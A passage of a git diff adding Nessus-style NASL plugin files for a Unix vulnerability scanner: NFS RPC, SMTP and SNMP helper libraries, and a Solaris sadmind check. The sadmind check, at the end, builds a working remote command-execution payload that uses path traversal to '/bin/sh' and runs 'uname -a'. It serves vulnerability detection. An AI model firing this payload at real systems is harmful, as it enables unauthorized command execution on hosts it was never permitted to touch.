Mounts an NFS share and returns a file handle +# (soc is a socket opened to the mount daemon) +# +# readdir(soc, fid) - Returns the content of the directory pointed by +# . (soc is a socket opened to the NFS daemon) +# +# cwd(soc, fid, dir) - Changes the working directory to . Returns +# a new fid +# +# umount(soc, share) - Tells the remote NFS server we don't need its services +# any more (soc is a socket opened to the mount daemon) +# +# +# $Id: nfs_func.inc,v 1.8 2005/12/30 15:02:12 renaud Exp $ + +function padsz(len) +{ + if(len % 4) + return 4 - len % 4; + else + return 0; +} + +function rpclong(val) +{ + local_var ret; + + ret = raw_string(val / (256*256*256), + val / (256*256), + val / 256, + val % 256); + return ret; +} + + +function str2long(val, idx) +{ + local_var ret; + if ( strlen(val) <= (idx + 3) ) + return NULL; + + ret = ord(val[idx]) * 256 * 256 * 256 + + ord(val[idx+1]) * 256 * 256 + + ord(val[idx+2]) * 256 + + ord(val[idx+3]); + + return int(ret); +} + + + +function rpcpad(pad) +{ + return crap(length:pad, data:raw_string(0)); +} + + + + +function mount(soc, share) +{ + local_var pad, req, len, r, ret, i; + + pad = padsz(len:strlen(this_host_name())); + len = 52 + strlen(this_host_name()) + pad; + + req = rpclong(val:rand()) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:100005) + + rpclong(val:1) + + rpclong(val:1) + + rpclong(val:1) + + rpclong(val:len) + + rpclong(val:rand()) + + rpclong(val:strlen(this_host_name())) + + this_host_name() + + rpcpad(pad:pad) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:7) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:3) + + rpclong(val:4) + + rpclong(val:5) + + rpclong(val:20) + + rpclong(val:31) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + + rpclong(val:strlen(share)) + + share + + rpcpad(pad:padsz(len:strlen(share))); + + send(socket:soc, data:req); + r = recv(socket:soc, length:4096); + if(strlen(r) < 24) + return NULL; + else + { + if(str2long(val:r, idx:24) != 0) + return NULL; + + ret = ""; + for(i=28;i<60;i++)ret += r[i]; + return ret; + } +} + +function readdir(soc, fid) +{ + local_var req, r, i, dir, ret; + + req = rpclong(val:rand()) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:100003) + + rpclong(val:2) + + rpclong(val:16) + + rpclong(val:1) + + rpclong(val:48) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:7) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:3) + + rpclong(val:4) + + rpclong(val:5) + + rpclong(val:20) + + rpclong(val:31) + + + rpclong(val:0) + + rpclong(val:0) + + fid + + rpclong(val:0) + + rpclong(val:8192); + + send(socket:soc, data:req); + r = recv(socket:soc, length:8192); + if(strlen(r) <= 24) return NULL; + if(str2long(val:r, idx:24) != 0) return NULL; # Could not read dir + + i = 28; + ret = make_list(); + while(str2long(val:r, idx:i) == 1) + { + if ( i > strlen(r)) break; + i += 4; + i += 4; # File ID - don't care + len = str2long(val:r, idx:i); + i+=4; + dir = substr(r, i, i + len - 1); + i += len; + i += padsz(len:len); + i += 4; + ret = make_list(ret, dir); + } + return ret; +} + + +function cwd(soc, dir, fid) +{ + local_var req, ret, i; + + + req = rpclong(val:rand()) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:100003) + + rpclong(val:2) + + rpclong(val:4) + + rpclong(val:1) + + rpclong(val:48) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:7) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:3) + + rpclong(val:4) + + rpclong(val:5) + + rpclong(val:20) + + rpclong(val:31) + + rpclong(val:0) + + rpclong(val:0) + + fid + + rpclong(val:strlen(dir)) + + dir + + rpcpad(pad:padsz(len:strlen(dir))); + + send(socket:soc, data:req); + r = recv(socket:soc, length:8192); + if(strlen(r) < 24) + return NULL; + + if(strlen(r) < 24) + return NULL; + else + { + if(str2long(val:r, idx:24) != 0) + return NULL; + + ret = ""; + for(i=28;i<56;i++)ret += r[i]; + ret += rpclong(val:0); + return ret; + } +} + + + + + + +function open(soc, file, fid) +{ + local_var req, ret, i; + + + req = rpclong(val:rand()) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:100003) + + rpclong(val:2) + + rpclong(val:4) + + rpclong(val:1) + + rpclong(val:48) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:7) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:3) + + rpclong(val:3) + + rpclong(val:5) + + rpclong(val:20) + + rpclong(val:31) + + rpclong(val:0) + + rpclong(val:0) + + fid + + rpclong(val:strlen(file)) + + file + + rpcpad(pad:padsz(len:strlen(file))); + + send(socket:soc, data:req); + r = recv(socket:soc, length:8192); + if(strlen(r) < 24) + return NULL; + + if(strlen(r) < 24) + return NULL; + else + { + if(str2long(val:r, idx:24) != 0) + return NULL; + + ret = ""; + for(i=28;i<56;i++)ret += r[i]; + ret += rpclong(val:0); + return ret; + } +} + +function read(soc, fid, length, off) +{ + local_var req, ret, i, len; + + + req = rpclong(val:rand()) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:100003) + + rpclong(val:2) + + rpclong(val:6) + + rpclong(val:1) + + rpclong(val:48) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:7) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:3) + + rpclong(val:4) + + rpclong(val:5) + + rpclong(val:20) + + rpclong(val:31) + + rpclong(val:0) + + rpclong(val:0) + + fid + + rpclong(val:off) + + rpclong(val:length) + + rpclong(val:0); + + send(socket:soc, data:req); + r = recv(socket:soc, length:length + 33); + if(strlen(r) <= 32) + return NULL; + + return substr(r, 32, strlen(r) - 1); +} + + +function umount(soc, share) +{ + local_var pad, req, len, r, ret, i; + + pad = padsz(len:strlen(this_host_name())); + len = 52 + strlen(this_host_name()) + pad; + + req = rpclong(val:rand()) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:100005) + + rpclong(val:1) + + rpclong(val:3) + + rpclong(val:1) + + rpclong(val:len) + + rpclong(val:rand()) + + rpclong(val:strlen(this_host_name())) + + this_host_name() + + rpcpad(pad:pad) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:7) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:3) + + rpclong(val:4) + + rpclong(val:5) + + rpclong(val:20) + + rpclong(val:31) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + + rpclong(val:strlen(share)) + + share + + rpcpad(pad:padsz(len:strlen(share))); + + send(socket:soc, data:req); + r = recv(socket:soc, length:8192); +} + diff --git a/content/UnixVA/plugins/smtp_func.inc b/content/UnixVA/plugins/smtp_func.inc new file mode 100644 index 0000000..e4b0a55 --- /dev/null +++ b/content/UnixVA/plugins/smtp_func.inc @@ -0,0 +1,176 @@ +# -*- Fundamental -*- +# +# (C) 2002 Michel Arboi +# $Revision: 1.28 $ + +function smtp_close(socket) +{ + send(socket: socket, data: 'QUIT\r\n'); + smtp_recv_line(socket: socket); + close(socket); +} + +function smtp_open(port, helo) +{ + local_var soc, data; + + soc = open_sock_tcp(port); + if (! soc) return NULL; + + data = smtp_recv_banner(socket:soc); + if (! data) + { + smtp_close(socket: soc); + return NULL; + } + + if ( isnull(helo) ) return soc; + + send(socket:soc, data: strcat('HELO ', helo, '\r\n')); + data = smtp_recv_line(socket: soc); + if(! ereg(pattern:"^[2-3][0-9][0-9]", string:data)) + { + smtp_close(socket: soc); + return NULL; + } + + return soc; +} + +function smtp_send_socket(socket, from, to, body) +{ + local_var buff; + # display(string("smtp_send_socket from=", from, " to=", to, "\n")); + # Just to be sure + send(socket: socket, data: string("RSET\r\n")); + buff = recv_line(socket: socket, length: 2048); + # Here, we might test the return code + if (from !~ ' *<.*> *') from = strcat('<', from, '>'); + send(socket: socket, data: string("MAIL FROM: ", from, "\r\n")); + buff = recv_line(socket: socket, length: 2048); + if (! ereg(pattern:"^2[0-9][0-9] ", string:buff)) { return (0); } + + if (to !~ ' *<.*> *') to = strcat('<', to, '>'); + send(socket: socket, data: string("RCPT TO: ", to, "\r\n")); + buff = recv_line(socket: socket, length: 2048); + if (! ereg(pattern:"^2[0-9][0-9] ", string:buff)) { return (0); } + + send(socket: socket, data: string("DATA\r\n")); + buff = recv_line(socket: socket, length: 2048); + if (! ereg(pattern:"^3[0-9][0-9] ", string:buff)) { return (0); } + + # Make sure that every line ends up with \r\n + # This is not useful yet, as only two scripts send data to the SMTP server + #body = ereg_replace(string: body, pattern: string("([^\r])\n"), replace: string("\\1\r\n")); + send(socket: socket, data: body); + send(socket: socket, data: string("\r\n.\r\n")); + buff = recv_line(socket: socket, length: 2048); + if (! ereg(pattern:"^2[0-9][0-9] ", string:buff)) { return (0); } + return(1); +} + +function smtp_send_port(port, from, to, body) +{ + local_var s, buff, ret, hostname; + s = open_sock_tcp(port); + if (! s) return (0); + + buff = recv_line(socket: s, length: 2048); + hostname = get_kb_item('smtp/'+'/helo'); + if (! hostname) hostname = 'nessus'; + send(socket: s, data: strcat('HELO ', hostname, '\r\n')); + buff = recv_line(socket: s, length: 2048); + # We should test the code + ret = smtp_send_socket(socket: s, from: from, to: to, body: body); + send(socket: s, data: string("QUIT\r\n")); + close(s); + return (ret); +} + +function smtp_from_header() +{ + local_var fromaddr; + fromaddr = get_kb_item("SMTP/headers/From"); + if (!fromaddr) fromaddr = "nessus@example.com"; + return (fromaddr); +} + +function smtp_to_header() +{ + local_var toaddr; + toaddr = get_kb_item("SMTP/headers/To"); + if (!toaddr) toaddr = string("postmaster@[", get_host_ip(), "]"); + return (toaddr); +} + +function get_smtp_banner(port) +{ + local_var sb, banner, soc; + + sb = string("smtp/banner/", port); + banner = get_kb_item(sb); + if(banner) return (banner); + if ( get_kb_item("smtp/" + port + "/broken") ) + return NULL; + + if(! get_port_state(port)) return (0); + soc = open_sock_tcp(port); + if (! soc) { + set_kb_item(name:"smtp/" + port + "/broken", value:TRUE); + return NULL; + } + banner = smtp_recv_banner(socket: soc); + close(soc); + if(! banner ) { + set_kb_item(name:"smtp/" + port + "/broken", value:TRUE); + return NULL; + } + + + if ( defined_func("replace_kb_item") ) + replace_kb_item(name: sb, value: banner); + else + set_kb_item(name: sb, value: banner); + return(banner); +} + + +function smtp_recv_line(socket, code, retry, last) +{ + local_var ret, n, r, pattern; + + if (isnull(code)) + pat = "^[0-9][0-9][0-9]-"; + else + pat = strcat("^", code, "-"); + + ret = ""; + r = recv_line(socket:socket, length:4096); + # + n = 0; + while (! r && n ++ < retry) + r = recv_line(socket:socket, length:4096); + # + n = 0; + ret = r; + if(strlen(r) < 4) + return r; + + while(ereg(pattern: pat, string:r)) + { + n = n + 1; + r = recv_line(socket:socket, length:4096); + if (strlen(r) == 0) break; + if (n > 512) + return NULL; + if (last) ret = r; + else ret = strcat(ret, r); + } + return ret; +} + +function smtp_recv_banner(socket) +{ + return smtp_recv_line(socket: socket, code: "220"); +} + diff --git a/content/UnixVA/plugins/snmp_func.inc b/content/UnixVA/plugins/snmp_func.inc new file mode 100644 index 0000000..d67ca88 --- /dev/null +++ b/content/UnixVA/plugins/snmp_func.inc @@ -0,0 +1,703 @@ +# -*- Fundamental -*- +# +# +# (C) 2005 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# @NOGPL@ +# +# snmp_func.inc +# $Revision: 1.2 $ +# + +global_var snmp_request_id, SNMP_VERSION; + +snmp_request_id = 0; + +SNMP_VERSION = get_kb_item ("SNMP/version"); +if (isnull(SNMP_VERSION)) + SNMP_VERSION = 0; # snmpv1 + +#---------------------------------------------------------# +# Function : ber_length # +# Description : return raw ber length of data # +#---------------------------------------------------------# + +function ber_length (data) +{ + local_var tmp, length, len; + + length = NULL; + len = strlen (data); + + if (len == 0) + return raw_string (0); + + while (len != 0) + { + length = raw_string (len % 256) + length; + len = len / 256; + } + + if ((strlen (length) > 1) || ((strlen(length) == 1) && (ord(length[0]) > 127))) + length = raw_string (128 + strlen (length)) + length; + + return length; +} + + +#---------------------------------------------------------# +# Function : ber_encode # +# Description : Return ber encoded data # +#---------------------------------------------------------# + +function ber_encode (tag,data) +{ + return raw_string (tag) + ber_length(data:data) + data; +} + + +#---------------------------------------------------------# +# Function : ber_put_int # +# Description : Return ber encoded INTEGER # +#---------------------------------------------------------# + +function ber_put_int (i) +{ + local_var val,j,tmp; + + if (isnull (i)) + return NULL; + + val[0] = i & 255; + val[1] = (i>>8) & 255; + val[2] = (i>>16) & 255; + val[3] = (i>>24) & 255; + + j = 3; + while ((val[j] == 0) && (j != 0)) + j--; + + tmp = NULL; + while (j != 0) + { + tmp += raw_string (val[j]); + j--; + } + + tmp += raw_string (val[j]); + + return ber_encode (tag:0x02, data:tmp); +} + + +#---------------------------------------------------------# +# Function : ber_put_octet_string # +# Description : Return ber encoded OCTET STRING # +#---------------------------------------------------------# + +function ber_put_octet_string (string) +{ + return ber_encode (tag:0x04, data:string); +} + + +#---------------------------------------------------------# +# Function : ber_put_get_pdu # +# Description : Return ber encoded GetRequestPDU # +#---------------------------------------------------------# + +function ber_put_get_pdu (pdu) +{ + return ber_encode (tag:0xA0, data:pdu); +} + + +#---------------------------------------------------------# +# Function : ber_put_get_next_pdu # +# Description : Return ber encoded GetRequestNextPDU # +#---------------------------------------------------------# + +function ber_put_get_next_pdu (pdu) +{ + return ber_encode (tag:0xA1, data:pdu); +} + + +#---------------------------------------------------------# +# Function : ber_put_null # +# Description : Return ber encoded NULL # +#---------------------------------------------------------# + +function ber_put_null () +{ + return ber_encode (tag:0x05, data:NULL); +} + + +#---------------------------------------------------------# +# Function : ber_put_oid # +# Description : Return ber encoded OID (string) # +# ex: "1.2.840.113554.1.2.2" # +#---------------------------------------------------------# + +function ber_put_oid (oid) +{ + local_var nums, num, enum, i, max, encoded; + + if (isnull (oid)) + return NULL; + + nums = split (oid, sep:".", keep:0); + + max = max_index (nums); + if (max < 2) + return NULL; + + # value1 x 40 + value2 + encoded = raw_string (40*int(nums[0]) + int(nums[1])); + + for (i=2; i < max; i++) + { + num = int(nums[i]); + enum = raw_string (num % 128); + num = num / 128; + while (num != 0) + { + enum = raw_string (128 + (num%128)) + enum; + num = num / 128; + } + encoded += enum; + } + + # OID Tag = 0x06 + return ber_encode (tag:0x06, data:encoded); +} + + +#---------------------------------------------------------# +# Function : ber_put_sequence # +# Description : Return ber encoded SEQUENCE # +#---------------------------------------------------------# + +function ber_put_sequence (seq) +{ + local_var encoded, max, i, j, val; + + max = max_index (seq); + + encoded = NULL; + + for (j=0; j < max; j++) + { + val = seq[j]; + if (!isnull(val)) + { + encoded += val; + } + } + + # SEQUENCE Tag = 0x30 + return ber_encode (tag:0x30, data:encoded); +} + + +function integer (i) +{ + local_var j,k; + + j = 0; + + for (k=0; k < strlen(i); k++) + { + j = j * 256 + ord(i[k]); + } + + return j; +} + + +#---------------------------------------------------------# +# Function : ber_decode # +# Description : Return ber decoded data # +# [0] = code # +# [1] = data # +# [2] = next pos in buffer # +#---------------------------------------------------------# + +function ber_decode (data, pos) +{ + local_var tmp, i, j, len, len2; + + if (isnull (data)) + return NULL; + + if (isnull (pos)) + j = 0; + else + j = pos; + + if (strlen(data) - j < 2) + return NULL; + + tmp[0] = ord(data[j]); + j++; + + len = ord(data[j]); + j++; + if (len > 127) + { + len -= 128; + if (strlen(data) - j < len) + return NULL; + + len2 = integer (i:substr (data, j, j + len - 1)); + j += len; + len = len2; + } + + if (strlen(data) - j < len) + return NULL; + + tmp[1] = substr(data,j,j+len-1); + tmp[2] = j + len; + + return tmp; +} + + +#---------------------------------------------------------# +# Function : ber_decode_oid # +# Description : Return OID (string) # +# ex: "1.2.840.113554.1.2.2" # +#---------------------------------------------------------# + +function ber_decode_oid (oid) +{ + local_var soid, i, val; + + if (strlen (oid) < 1) + return NULL; + + soid = string (ord (oid[0]) / 40, ".", ord (oid[0]) % 40); + + for (i = 1; i < strlen(oid); i++) + { + val = 0; + while (ord(oid[i]) >= 128) + { + val = ((ord(oid[i]) - 128) + val) * 128; + i++; + } + val += ord (oid[i]); + soid += string (".",val); + } + + return soid; +} + + +#---------------------------------------------------------# +# Function : ber_get_data # +# Description : Return ber decoded data # +#---------------------------------------------------------# + +function ber_get_data (tag,data) +{ + local_var tmp; + + tmp = ber_decode (data:data); + if (isnull (tmp) || (tmp[0] != tag)) + return NULL; + + return tmp[1]; +} + + +#---------------------------------------------------------# +# Function : ber_get_sequence # +# Description : Return der decoded sequence # +#---------------------------------------------------------# + +function ber_get_sequence (seq) +{ + local_var tmp,pos,i,ret,list; + + if (!seq) + return NULL; + + list = ber_decode (data:seq); + if (isnull(list) || (list[0] != 0x30)) + return NULL; + + list = list[1]; + + tmp = NULL; + tmp[0] = 0; + + pos = 0; + i = 1; + while (pos < strlen(list)) + { + ret = ber_decode (data:list,pos:pos); + if (isnull(ret)) + return NULL; + + tmp[i] = substr (list, pos, ret[2]); + tmp[0] = tmp[0] + 1; + pos = ret[2]; + i++; + } + + return tmp; +} + + +#---------------------------------------------------------# +# Function : ber_response_pdu # +# Description : Return ber decoded response_pdu # +#---------------------------------------------------------# + +function ber_get_response_pdu (pdu) +{ + local_var tmp,pos,i,ret,list; + + if (!pdu) + return NULL; + + list = ber_decode (data:pdu); + if (isnull(list) || ((list[0] != 0xA2) && (list[0] != 0xA1)) ) + return NULL; + + list = list[1]; + + tmp = NULL; + tmp[0] = 0; + + pos = 0; + i = 1; + while (pos < strlen(list)) + { + ret = ber_decode (data:list,pos:pos); + if (isnull(ret)) + return NULL; + + tmp[i] = substr (list, pos, ret[2]); + tmp[0] = tmp[0] + 1; + pos = ret[2]; + i++; + } + + return tmp; +} + + +#---------------------------------------------------------# +# Function : ber_get_int # +# Description : Return ber decoded integer # +#---------------------------------------------------------# + +function ber_get_int (i) +{ + local_var tmp; + + tmp = ber_get_data (tag:0x02, data:i); + if (isnull(tmp)) + return NULL; + + tmp = integer (i:tmp); + if (isnull(tmp)) + return NULL; + + return tmp; +} + + +#---------------------------------------------------------# +# Function : ber_get_timeticks # +# Description : Return ber decoded time # +#---------------------------------------------------------# + +function ber_get_timeticks (time) +{ + local_var tmp, ms, s, m, h, d; + + tmp = ber_get_data (tag:0x43, data:time); + if (isnull(tmp)) + return NULL; + + if ((strlen(tmp) > 4) || (strlen(tmp) == 4 && ord(tmp[0]) > 0x80)) + { + return string ("Time is too big to be decoded : 0x", hexstr(tmp), " ms"); + } + + tmp = integer (i:tmp); + if (isnull(tmp)) + return NULL; + + # convert to sec + tmp = tmp / 100; + s = tmp % 60; + tmp = tmp / 60; + m = tmp % 60; + tmp = tmp / 60; + h = tmp % 60; + d = tmp / 60; + + return string (d, "d ",h,"h ",m, "m ", s, "s"); +} + + +#---------------------------------------------------------# +# Function : ber_get_octet_string # +# Description : Return ber decoded octet string # +#---------------------------------------------------------# + +function ber_get_octet_string (string) +{ + return ber_get_data (tag:0x04, data:string); +} + + +#---------------------------------------------------------# +# Function : ber_get_oid # +# Description : Return ber decoded oid # +#---------------------------------------------------------# + +function ber_get_oid (oid) +{ + local_var tmp; + + tmp = ber_get_data (tag:0x06, data:oid); + if (!tmp) + return NULL; + + tmp = ber_decode_oid (oid:tmp); + if (!tmp) + return NULL; + + return tmp; +} + + +#---------------------------------------------------------# +# Function : snmp_extract_reply # +# Description : Return ber decoded snmp reply value # +#---------------------------------------------------------# + +function snmp_extract_reply (rep) +{ + if (strlen(rep) < 2) + return NULL; + + if (ord(rep[0]) == 0x02) + return ber_get_int (i:rep); + + if (ord(rep[0]) == 0x04) + return ber_get_octet_string (string:rep); + + if (ord(rep[0]) == 0x06) + return ber_get_oid (oid:rep); + + if (ord(rep[0]) == 0x43) + return ber_get_timeticks (time:rep); + + return NULL; +} + + +#---------------------------------------------------------# +# Function : snmp_reply # +# Description : Return ber decoded snmp reply value # +#---------------------------------------------------------# + +function snmp_reply (socket, timeout) +{ + local_var seq, res, pdu, error, oid, ret, rep, id, cmpt, vers; + + cmpt = 5; + + while (cmpt) + { + rep = recv(socket:socket, length:4096, timeout:timeout); + if (!rep) + return NULL; + + # First decode snmp reply (sequence) + seq = ber_get_sequence (seq:rep); + if (isnull(seq) || (seq[0] != 3)) + return NULL; + + # Check if version is 1 (0) + vers = ber_get_int (i:seq[1]); + if (isnull(vers) || vers != SNMP_VERSION) + return NULL; + + # Check if Response PDU is 2 + pdu = ber_get_response_pdu (pdu:seq[3]); + if (isnull(pdu) || (pdu[0] != 4)) + return NULL; + + id = ber_get_int (i:pdu[1]); + if (!isnull(id) && id == (snmp_request_id - 1)) + { + # Check if Error == NO ERROR + error = ber_get_int (i:pdu[2]); + if (isnull(error) || (error != 0)) + return NULL; + + # Extract response + seq = ber_get_sequence (seq:pdu[4]); + if (isnull(seq) || (seq[0] != 1)) + return NULL; + + seq = ber_get_sequence (seq:seq[1]); + if (isnull(seq) || (seq[0] != 2)) + return NULL; + + oid = ber_get_oid (oid:seq[1]); + res = snmp_extract_reply (rep:seq[2]); + + if (isnull(oid)) + return NULL; + + ret = make_list(); + ret[0] = oid; + ret[1] = res; + + return ret; + } + + cmpt--; + } +} + + +#---------------------------------------------------------# +# Function : snmp_request # +# Description : Do an snmp request and return reply # +#---------------------------------------------------------# + +function snmp_request (socket, community, oid) +{ + local_var req, rep, seq, request; + + seq = make_list( + ber_put_oid (oid:oid), + ber_put_null () + ); + + seq = make_list( + ber_put_sequence(seq:seq) + ); + + request = + ber_put_int (i:snmp_request_id) + # Request Id + ber_put_int (i:0) + # Error Status: NO ERROR (0) + ber_put_int (i:0) + # Error Index (0) + ber_put_sequence (seq:seq); # Object Identifier + +req = ber_put_int (i:SNMP_VERSION) + # version + ber_put_octet_string (string:community) + # community string + ber_put_get_pdu (pdu:request); # PDU type + + req = ber_put_sequence (seq:make_list(req)); + + snmp_request_id += 1; + + send (socket:socket, data:req); + rep = snmp_reply (socket:socket); + + return rep[1]; +} + + +#---------------------------------------------------------# +# Function : snmp_request_next # +# Description : Do an snmp request_next and return reply # +#---------------------------------------------------------# + +function snmp_request_next (socket, community, oid, timeout) +{ + local_var req, rep, seq, request; + + seq = make_list( + ber_put_oid (oid:oid), + ber_put_null () + ); + + seq = make_list( + ber_put_sequence(seq:seq) + ); + + request = + ber_put_int (i:snmp_request_id) + # Request Id + ber_put_int (i:0) + # Error Status: NO ERROR (0) + ber_put_int (i:0) + # Error Index (0) + ber_put_sequence (seq:seq); # Object Identifier + +req = ber_put_int (i:SNMP_VERSION) + # version + ber_put_octet_string (string:community) + # community string + ber_put_get_next_pdu (pdu:request); # PDU type + + req = ber_put_sequence (seq:make_list(req)); + + snmp_request_id += 1; + + send (socket:socket, data:req); + + return snmp_reply (socket:socket, timeout:timeout); +} + + +#---------------------------------------------------------# +# Function : scan_snmp_string # +# Description : do a snmp string scan with get_next_pdu # +#---------------------------------------------------------# + +function scan_snmp_string(socket, community, oid) +{ + local_var soid, list, port; + + list = NULL; + soid = oid; + + while(1) + { + port = snmp_request_next (socket:socket, community:community, oid:soid); + if (!isnull(port) && egrep (pattern:string("^",oid,"\\."), string:port[0])) + { + list = string (list, port[1], "\n"); + soid = port[0]; + } + else + break; + } + + return list; +} + + +#---------------------------------------------------------# +# Function : is_valid_snmp_product # +# Description : checks if the product oid is from the same# +# manufacturer # +#---------------------------------------------------------# + +function is_valid_snmp_product(manufacturer, oid) +{ + if (egrep(pattern:string("^",manufacturer,"\\..*"), string:oid)) + return TRUE; + + return FALSE; +} diff --git a/content/UnixVA/plugins/solaris_sadmind.nasl b/content/UnixVA/plugins/solaris_sadmind.nasl new file mode 100644 index 0000000..458cd34 --- /dev/null +++ b/content/UnixVA/plugins/solaris_sadmind.nasl @@ -0,0 +1,178 @@ +# DESC : Solaris sadmind Check +# AUTHOR: Fizz +# DATE : 05/03/2006 +# +# NOTES : This vulnerability check is based on the +# rpc_sadmin2.nasl script provided from the nessus project. +# + + +include("misc_func.inc"); +include("nfs_func.inc"); + + +# ############### +# # PREPARATION # +# ############### + + +RPC_PROG = 100232; +tcp = 0; +port = get_rpc_port(program:RPC_PROG, protocol:IPPROTO_UDP); +if(!port) + exit(0); + +req = "a2bd60db0000000000000002000187880000000a00000001000000010000001c3f6a0f8c000000076578706c6f69740000000000000000000000000000000000000000003f6a0f90000745df0000000000000000000000000000000000000000000000060000000000000000000000000000000400000000000000047f000001000187880000000a000000047f000001000187880000000a000000110000001e000000000000000000000000000000000000003b6578706c6f697400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000673797374656d0000000000152e2e2f2e2e2f2e2e2f2e2e2f2e2e2f62696e2f73680000000000041a0000000e41444d5f46575f56455253494f4e000000000003000000040000000100000000000000000000000841444d5f4c414e470000000900000002000000014300000000000000000000000000000d41444d5f524551554553544944000000000000090000001200000011303831303a313031303130313031303a3100000000000000000000000000000941444d5f434c41535300000000000009000000070000000673797374656d000000000000000000000000000e41444d5f434c4153535f564552530000000000090000000400000003322e310000000000000000000000000a41444d5f4d4554484f4400000000000900000016000000152e2e2f2e2e2f2e2e2f2e2e2f2e2e2f62696e2f736800000000000000000000000000000841444d5f484f5354000000090000003c0000003b6578706c6f6974000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f41444d5f434c49454e545f484f5354000000000900000008000000076578706c6f69740000000000000000000000001141444d5f434c49454e545f444f4d41494e00000000000009000000010000000000000000000000000000001141444d5f54494d454f55545f5041524d53000000000000090000001c0000001b54544c3d302050544f3d32302050434e543d322050444c593d33300000000000000000000000000941444d5f46454e43450000000000000900000000000000000000000000000001580000000000000900000003000000022d6300000000000000000000000000015900000000000009000002010000020069640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000106e65746d67745f656e646f6661726773"; +soc = open_sock_udp(port); +if(!soc) + exit(0); +send(socket:soc, data:hex2raw(s:req)); +r = recv(socket:soc, length:512); +if(!r) + exit(0); + +hostname = strstr(r, "Security exception on host"); +if(!hostname) + exit(0); +hostname = ereg_replace(pattern:".*on host ([^ ]*)\. .*", string:hostname, replace:"\1"); + +# pad the hostname to a multiple of four bytes +adm_client_host = hostname; +while ((strlen(adm_client_host) % 4) != 0) +{ + adm_client_host = adm_client_host + raw_string(0x00); +} + +# The output command is not piped back to us. We will just check the error code +# sent back by rpc.sadmind +command = "uname -a"; +command_pad = crap(data:raw_string(0), length:512 - strlen(command)); + +pad = padsz(len:strlen(hostname)); + +rpc = rpclong(val:rand()) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:100232) + + rpclong(val:10) + + rpclong(val:1) + + rpclong(val:1); + +auth_len = 20 + strlen(hostname) + pad; + +auth = rpclong(val:auth_len) + + rpclong(val:rand()) + + rpclong(val:strlen(hostname)) + + hostname + + rpcpad(pad:pad) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0); + +rpc2 = rpc + auth; + +packed_host = hostname + crap(data:raw_string(0), length:59 - strlen(hostname)); + +header = string( + "\x3f\x6a\x0f\x90", # Timestamp + "\x00\x07\x45\xdf" , # Random Field + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" , + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06" , + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" , + "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04" , + "\x7f\x00\x00\x01" , # 127.0.0.1 + "\x00\x01\x87\x88" , # SADMIND + "\x00\x00\x00\x0a\x00\x00\x00\x04" , + "\x7f\x00\x00\x01" , # 127.0.0.1 + "\x00\x01\x87\x88" , # SADMIND + "\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e" , + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" , + "\x00\x00\x00\x00" , + "\x00\x00\x00\x3b" , packed_host , + "\x00\x00\x00\x00\x06" , "system" , + "\x00\x00\x00\x00\x00\x15" , "../../../../../bin/sh" , "\x00\x00\x00"); + +body = string("\x00\x00\x00\x0e", "ADM_FW_VERSION" , + "\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00" , + "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00" , + "\x00\x00\x00\x08" , "ADM_LANG" , + "\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00" , + "\x00\x01" , "C" , + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" , + "\x00\x00\x00\x0d" , "ADM_REQUESTID" , + "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11" , + "0810:1010101010:1" , "\x00\x00\x00" , + 